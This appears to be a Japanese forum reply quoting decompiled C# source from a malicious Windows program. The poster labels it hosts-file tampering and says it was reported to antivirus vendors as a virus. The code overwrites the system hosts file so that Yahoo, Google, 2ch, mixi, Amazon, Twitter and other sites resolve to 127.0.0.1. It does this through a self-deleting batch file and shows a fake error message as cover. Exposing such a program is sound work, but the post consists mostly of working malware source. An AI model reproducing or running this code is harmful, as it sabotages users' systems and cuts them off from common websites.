>>282

private static void Main(string[] args)
{
string contents = "@echo off\n";
contents = (((((contents + @"del C:\Windows\System32\drivers\etc\hosts /Q" + Environment.NewLine)
+ @"copy C:\Hi2jU2UD0c.txt C:\Windows\System32\drivers\etc\hosts"
+ Environment.NewLine) + @"del C:\Hi2jU2UD0c.txt /Q" + Environment.NewLine)
+ "CLS\n") + "echo:An installation preference is not found." + Environment.NewLine)
+ "pause";
File.WriteAllText(@"C:\set.bat", contents);
string str2 = "# Copyright (c) 1993-1999 Microsoft Corp.\n";
str2 = ((((((((((((((((((((str2 + "#\n")
+ "# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\n" + "#\n")
+ "# This file contains the mappings of IP addresses to host names. Each\n"
+ "# entry should be kept on an individual line. The IP address should\n")
+ "# be placed in the first column followed by the corresponding host name.\n"
+ "# The IP address and the host name should be separated by at least one\n")
+ "# space.\n" + "#\n")
+ "# Additionally, comments (such as these) may be inserted on individual\n"
+ "# lines or following the machine name denoted by a '#' symbol.\n") + "#\n"
+ "# For example:\n") + "#\n"
+ "# 102.54.94.97 rhino.acme.com # source server\n")
+ "# 38.25.63.10 x.acme.com # x client host\n\n"
+ "127.0.0.1 www.yahoo.co.jp\n") + "127.0.0.1 search.yahoo.co.jp\n"
+ "127.0.0.1 www.google.co.jp\n") + "127.0.0.1 goo.ne.jp\n"
+ "127.0.0.1 www.goo.ne.jp\n") + "127.0.0.1 www.nifty.com\n"
+ "127.0.0.1 www.goo.ne.jp\n") + "127.0.0.1 www.nicovideo.jp\n"
+ "127.0.0.1 www.youtube.com\n") + "127.0.0.1 2ch.net\n" + "127.0.0.1 www.2ch.net\n")
+ "127.0.0.1 kamome.2ch.net\n" + "127.0.0.1 yuzuru.2ch.net\n")
+ "127.0.0.1 toki.2ch.net\n" + "127.0.0.1 mixi.jp\n") + "127.0.0.1 www.mixi.jp\n"
+ "127.0.0.1 www.rakuten.co.jp\n") + "127.0.0.1 www.amazon.co.jp\n"
+ "127.0.0.1 www.naver.jp\n") + "127.0.0.1 www.nifty.com\n"
+ "127.0.0.1 www.livedoor.com\n") + "127.0.0.1 blog.livedoor.jp\n"
+ "127.0.0.1 jbbs.livedoor.jp\n") + "127.0.0.1 twitter.com\n"
+ "127.0.0.1 www.twitter.com\n";
File.WriteAllText(@"C:\Hi2jU2UD0c.txt", str2);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = @"C:\set.bat";
startInfo.CreateNoWindow = false;
startInfo.UseShellExecute = false;
Process.Start(startInfo);
Thread.Sleep(0xbb8);
File.Delete(@"C:\set.bat");
}

ホストファイル改竄
各ベンダーへウイルスとして提出しました。